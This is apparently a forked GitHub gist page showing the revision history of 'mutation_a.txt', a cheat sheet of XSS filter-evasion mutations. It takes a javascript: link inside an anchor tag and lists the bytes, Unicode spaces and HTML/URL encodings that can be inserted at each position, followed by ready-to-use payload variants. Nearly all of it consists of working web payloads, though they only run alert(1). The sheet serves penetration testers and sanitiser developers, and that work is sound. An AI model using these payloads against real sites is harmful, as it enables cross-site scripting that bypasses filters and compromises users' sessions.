Skip to content

Instantly share code, notes, and snippets.

@xsuperbug

xsuperbug/mutation_a.txt

Forked from hackerscrolls/mutation_a.txt
Created October 15, 2020 14:58
Show Gist options
  • Save xsuperbug/f704a93fb1b46037457557f57329e7f9 to your computer and use it in GitHub Desktop.
Save xsuperbug/f704a93fb1b46037457557f57329e7f9 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @hackerscrolls hackerscrolls revised this gist Jun 17, 2020. 1 changed file with 23 additions and 7 deletions.
    30 changes: 23 additions & 7 deletions mutation_a.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -1,29 +1,35 @@
    <a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

    [1]
    Bytes: \x09 \x0a \x0c \x0d \x20 \x2f
    Bytes:
    \x09 \x0a \x0c \x0d \x20 \x2f

    <a/href="javascript:alert(1)">
    <a\x09href="javascript:alert(1)">

    [2,3]
    Bytes: \x09 \x0a \x0c \x0d \x20
    Bytes:
    \x09 \x0a \x0c \x0d \x20

    <a href\x20="javascript:alert(1)">
    <a href=\x20"javascript:alert(1)">

    [4]
    Bytes: \x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20
    Bytes:
    \x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20

    Allowed encodings: HTML
    HTML Encoding:
    &#x01; &#x02; &#x03; &#x04; &#x05; &#x06; &#x07; &#x08; &#x09; &#x0a; &#x0b; &#x0c; &#x0d; &#x0e; &#x0f; &#x10; &#x11; &#x12; &#x13; &#x14; &#x15; &#x16; &#x17; &#x18; &#x19; &#x1a; &#x1b; &#x1c; &#x1d; &#x1e; &#x1f; &#x20;

    <a href="&Tab;javascript:alert(1)">
    <a href="&#x001;javascript:alert(1)">

    [5]
    Bytes: \x09 \x0a \x0d
    Bytes:
    \x09 \x0a \x0d

    Allowed encodings: HTML
    HTML Encoding:
    &#x09; &#x0a; &#x0d;

    <a href="javas\x09cript:alert(1)">
    <a href="javas&Tab;cript:alert(1)">
    @@ -32,10 +38,20 @@ Allowed encodings: HTML
    Bytes:
    \x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0

    URL Encode (bytes):
    %09 %0a %0b %0c %0d %20 %21 %2b %2d %3b %7e %a0

    HTML Encode (bytes):
    &#x09; &#x0a; &#x0b; &#x0c; &#x0d; &#x20; &#x21; &#x2b; &#x2d; &#x3b; &#x7e; &#xa0;

    UTF-8 Symbols:
    \u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff

    Allowed encodings: HTML, URL
    URL Encode (UTF-8):
    %e1%9a%80 %e2%80%80 %e2%80%81 %e2%80%82 %e2%80%83 %e2%80%84 %e2%80%85 %e2%80%86 %e2%80%87 %e2%80%88 %e2%80%89 %e2%80%8a %e2%80%a8 %e2%80%a9 %e2%80%af %e2%81%9f %e3%80%80 %ef%bb%bf

    HTML Encode (UTF-8):
    &#x1680; &#x2000; &#x2001; &#x2002; &#x2003; &#x2004; &#x2005; &#x2006; &#x2007; &#x2008; &#x2009; &#x200a; &#x2028; &#x2029; &#x202f; &#x205f; &#x3000; &#xfeff

    <a href="javascript:~alert(1)">
    <a href="javascript://%0d%0aalert(1)">
  2. @hackerscrolls hackerscrolls revised this gist Jun 17, 2020. 1 changed file with 0 additions and 1 deletion.
    1 change: 0 additions & 1 deletion mutation_a.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -28,7 +28,6 @@ Allowed encodings: HTML
    <a href="javas\x09cript:alert(1)">
    <a href="javas&Tab;cript:alert(1)">


    [6]
    Bytes:
    \x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0
  3. @hackerscrolls hackerscrolls created this gist Jun 17, 2020.
    61 changes: 61 additions & 0 deletions mutation_a.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,61 @@
    <a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

    [1]
    Bytes: \x09 \x0a \x0c \x0d \x20 \x2f

    <a/href="javascript:alert(1)">
    <a\x09href="javascript:alert(1)">

    [2,3]
    Bytes: \x09 \x0a \x0c \x0d \x20

    <a href\x20="javascript:alert(1)">
    <a href=\x20"javascript:alert(1)">

    [4]
    Bytes: \x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f \x20

    Allowed encodings: HTML

    <a href="&Tab;javascript:alert(1)">
    <a href="&#x001;javascript:alert(1)">

    [5]
    Bytes: \x09 \x0a \x0d

    Allowed encodings: HTML

    <a href="javas\x09cript:alert(1)">
    <a href="javas&Tab;cript:alert(1)">


    [6]
    Bytes:
    \x09 \x0a \x0b \x0c \x0d \x20 \x21 \x2b \x2d \x3b \x7e \xa0

    UTF-8 Symbols:
    \u1680 \u2000 \u2001 \u2002 \u2003 \u2004 \u2005 \u2006 \u2007 \u2008 \u2009 \u200a \u2028 \u2029 \u202f \u205f \u3000 \ufeff

    Allowed encodings: HTML, URL

    <a href="javascript:~alert(1)">
    <a href="javascript://%0d%0aalert(1)">
    <a href="javascript:\x0calert(1)">
    <a href="javascript:%ef%bb%bfalert(1)">
    <a href="javascript:&#xfeff;alert(1)">


    -----------------------------------------
    We use char codes to show non printable symbols
    \x00 - ASCII hex code
    \x20 - SPACE
    \x0a - NEW LINE

    \u0000 - UTF-8 char code
    \u1680 - OGHAM SPACE MARK
    \u2028 - LINE SEPARATOR

    Encoding UTF-8 to URL isn’t obvious:
    \u1680 -> %e1%9a%80
    \u2028 -> %e2%80%a8